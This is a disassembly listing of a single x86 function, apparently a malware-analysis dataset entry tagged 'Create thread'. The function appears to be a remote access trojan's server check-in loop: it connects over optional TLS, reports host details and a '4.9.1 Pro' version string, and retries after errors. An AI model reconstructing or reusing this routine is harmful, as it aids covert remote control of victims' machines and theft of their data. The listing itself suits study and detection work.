Function at 0x414e78
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.004020df
lea ecx, [ebp - 0x114]
call fcn.0041b805
lea ecx, [ebp - 0x63c]
call fcn.004020df
mov edi, 0x4750e4
push 0x29
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b9fc
pop ecx
test eax, eax
je 0x414ecf
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x46c668
call fcn.00402093
push 0
mov ecx, edi
call fcn.00401e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [ebp - 0x48]
call fcn.0041bd6d
add esp, 0x30
xor ebx, ebx
call fcn.0040489e
push 0x38
mov ecx, edi
call fcn.00401e65
mov edx, 0x4660a4
mov ecx, eax
call fcn.0040b90b
test al, al
je 0x414f8f
push 0x38
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push eax
push 0x38
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x37
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push eax
push 0x37
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x36
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push 0x36
mov ecx, edi
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0040473d
add esp, 0x10
sub esp, 0x18
mov byte [0x4755c9], 1
mov ecx, esp
push 0x46c66c
call fcn.00402093
push ebx
lea ecx, [ebp - 0x48]
call fcn.00401e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [ebp - 0xc]
call fcn.0041bd6d
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00401e65
push eax
push 0x46c66c
push 0
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00402f10
pop ecx
push eax
mov ecx, 0x4755cc
call fcn.00401fe2
lea ecx, [ebp - 0x24]
call fcn.00401fd8
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
push 2
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov edx, 0x46611c
mov ecx, eax
call fcn.00405b05
lea ecx, [ebp - 0x60]
test al, al
je 0x41503a
mov byte [0x472ae4], 0
push str.TLS_Off
jmp 0x415046
mov byte [0x472ae4], 1
push str.TLS_On
call fcn.00405aa6
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x4755cc
push 0x46c680
push eax
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00406383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b441
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fd8
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.00414e37
test eax, eax
je 0x415123
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.0041ca33
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b441
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fd8
mov esi, 0x475598
jmp 0x4159f1
mov esi, 0x475598
mov ecx, esi
call fcn.0040482d
test al, al
jne 0x41515e
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b441
add esp, 0x30
jmp 0x4159f1
push 0
push 0x3c
mov ecx, esi
call fcn.00404f51
push ecx
mov ecx, esi
call fcn.004048c8
test al, al
je 0x4159f1
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e65
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x46c66c
push 0
call fcn.00401e65
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x46c680
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00406383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b441
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0xcc]
call fcn.00401fd8
lea ecx, [ebp - 0xe4]
call fcn.00401fd8
lea ecx, [ebp - 0xfc]
call fcn.00401fd8
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041b732
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.0041450b
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x475158
call fcn.0040905c
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0x4719d0]
call fcn.00441dd1
add esp, 0xc
mov ecx, 0x4750e4
push 1
call fcn.00401e65
push eax
lea ecx, [ebp - 0xb4]
call fcn.004020f6
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push 0x104
lea eax, [ebp - 0xa28]
mov esi, 0x4752f0
push eax
push str.name
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.00413646
add esp, 0x14
test al, al
je 0x4152e0
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00405aa6
push ecx
push str.hlight
mov ecx, esi
call fcn.00401fab
push eax
mov edx, closesocket
lea ecx, [ebp - 0x3c]
call fcn.004134f4
mov eax, dword [0x472d58]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x41530e
call eax
movzx edi, ax
push 0x472b38
lea ecx, [ebp - 0x78]
call fcn.0040417e
call fcn.0040dcd7
mov edx, eax
lea ecx, [ebp - 0x624]
call fcn.0041bb94
sub esp, 0x18
mov ecx, 0x474ee0
mov esi, esp
mov edx, 0x4752d8
push eax
push ecx
lea eax, [ebp - 0x3c]
push eax
push ecx
push 0x475380
push ecx
lea eax, [ebp - 0x114]
push eax
push ecx
lea ecx, [ebp - 0x60c]
call fcn.0041bc70
push eax
push 0x474ee0
movzx edx, di
lea ecx, [ebp - 0x5f4]
call fcn.0041bae0
push eax
mov edi, 0x474ee0
lea ecx, [ebp - 0xc]
push edi
push 0x475320
push edi
push 0
call fcn.00401e65
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x5dc]
call fcn.0041bae0
push eax
push edi
call fcn.0041ba38
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.0041bae0
mov edx, dword [0x47513c]
lea ecx, [ebp - 0x5ac]
push eax
push edi
call fcn.0041bae0
push eax
push edi
lea ecx, [ebp - 0x594]
call fcn.0041b9e8
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.0041bc70
push eax
push edi
mov edx, 0x474d64
lea ecx, [ebp - 0x564]
call fcn.0041bc70
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x54c]
call fcn.0041bc70
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x534]
call fcn.0041bc70
push eax
push edi
push str.4.9.1_Pro
push edi
lea eax, [ebp - 0x9c]
mov edx, 0x4756c8
push eax
push edi
lea ecx, [ebp - 0x51c]
call fcn.0041bc70
push eax
push edi
push 0x475a00
push edi
lea ecx, [ebp - 0x504]
call fcn.0040f81f
push eax
push edi
mov edx, 0x475350
lea ecx, [ebp - 0x4ec]
call fcn.0041bc70
push eax
push edi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4d4]
call fcn.00402f31
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4bc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00402f10
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ea1
pop ecx
mov esi, 0x475598
push 0x4b
mov ecx, esi
call fcn.00404aa1
lea ecx, [ebp - 0xfc]
call fcn.00401fd8
lea ecx, [ebp - 0xe4]
call fcn.00401fd8
lea ecx, [ebp - 0xcc]
call fcn.00401fd8
lea ecx, [ebp - 0x12c]
call fcn.00401fd8
lea ecx, [ebp - 0x144]
call fcn.00401fd8
lea ecx, [ebp - 0x15c]
call fcn.00401fd8
lea ecx, [ebp - 0x174]
call fcn.00401fd8
lea ecx, [ebp - 0x18c]
call fcn.00401fd8
lea ecx, [ebp - 0x1a4]
call fcn.00401fd8
lea ecx, [ebp - 0x1bc]
call fcn.00401fd8
lea ecx, [ebp - 0x1d4]
call fcn.00401fd8
lea ecx, [ebp - 0x1ec]
call fcn.00401fd8
lea ecx, [ebp - 0x204]
call fcn.00401fd8
lea ecx, [ebp - 0x21c]
call fcn.00401fd8
lea ecx, [ebp - 0x234]
call fcn.00401fd8
lea ecx, [ebp - 0x24c]
call fcn.00401fd8
lea ecx, [ebp - 0x264]
call fcn.00401fd8
lea ecx, [ebp - 0x27c]
call fcn.00401fd8
lea ecx, [ebp - 0x294]
call fcn.00401fd8
lea ecx, [ebp - 0x2ac]
call fcn.00401fd8
lea ecx, [ebp - 0x2c4]
call fcn.00401fd8
lea ecx, [ebp - 0x2dc]
call fcn.00401fd8
lea ecx, [ebp - 0x2f4]
call fcn.00401fd8
lea ecx, [ebp - 0x30c]
call fcn.00401fd8
lea ecx, [ebp - 0x324]
call fcn.00401fd8
lea ecx, [ebp - 0x33c]
call fcn.00401fd8
lea ecx, [ebp - 0x354]
call fcn.00401fd8
lea ecx, [ebp - 0x36c]
call fcn.00401fd8
lea ecx, [ebp - 0x384]
call fcn.00401fd8
lea ecx, [ebp - 0x39c]
call fcn.00401fd8
lea ecx, [ebp - 0x3b4]
call fcn.00401fd8
lea ecx, [ebp - 0x3cc]
call fcn.00401fd8
lea ecx, [ebp - 0x3e4]
call fcn.00401fd8
lea ecx, [ebp - 0x3fc]
call fcn.00401fd8
lea ecx, [ebp - 0x414]
call fcn.00401fd8
lea ecx, [ebp - 0x42c]
call fcn.00401fd8
lea ecx, [ebp - 0x444]
call fcn.00401fd8
lea ecx, [ebp - 0x45c]
call fcn.00401fd8
lea ecx, [ebp - 0x474]
call fcn.00401fd8
lea ecx, [ebp - 0x48c]
call fcn.00401fd8
lea ecx, [ebp - 0x4a4]
call fcn.00401fd8
lea ecx, [ebp - 0x4bc]
call fcn.00401fd8
lea ecx, [ebp - 0x4d4]
call fcn.00401fd8
lea ecx, [ebp - 0x4ec]
call fcn.00401fd8
lea ecx, [ebp - 0x504]
call fcn.00401fd8
lea ecx, [ebp - 0x51c]
call fcn.00401fd8
lea ecx, [ebp - 0x534]
call fcn.00401fd8
lea ecx, [ebp - 0x54c]
call fcn.00401fd8
lea ecx, [ebp - 0x564]
call fcn.00401fd8
lea ecx, [ebp - 0x57c]
call fcn.00401fd8
lea ecx, [ebp - 0x594]
call fcn.00401f09
lea ecx, [ebp - 0x5ac]
call fcn.00401fd8
lea ecx, [ebp - 0x5c4]
call fcn.00401fd8
lea ecx, [ebp - 0x5dc]
call fcn.00401fd8
lea ecx, [ebp - 0x5f4]
call fcn.00401fd8
lea ecx, [ebp - 0x60c]
call fcn.00401fd8
lea ecx, [ebp - 0x624]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401f09
push 1
push 0x415a38
mov ecx, esi
call fcn.00404c10
mov eax, dword [0x472d5c]
test eax, eax
je 0x415978
cmp byte [0x472d4a], 0
je 0x415978
call eax
mov byte [0x472d4a], 0
cmp byte [0x47513a], 0
je 0x41598b
mov ecx, 0x4750f0
call fcn.0040af9f
call fcn.00405a6b
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x466060
call fcn.00402093
call fcn.0041b441
add esp, 0x30
cmp byte [0x474ad3], 0
je 0x4159d1
xor eax, eax
push eax
push eax
push eax
push fcn.0041ac69
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
lea ecx, [ebp - 0xb4]
call fcn.00401fd8
lea ecx, [ebp - 0x24]
call fcn.00401f09
mov edi, 0x4750e4
mov ecx, esi
call fcn.00404e26
lea ecx, [ebp - 0x48]
inc ebx
call fcn.004021fa
cmp ebx, eax
jb 0x415a2b
push 2
mov ecx, edi
xor ebx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043b9fc
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.00401e8d
jmp 0x414f8f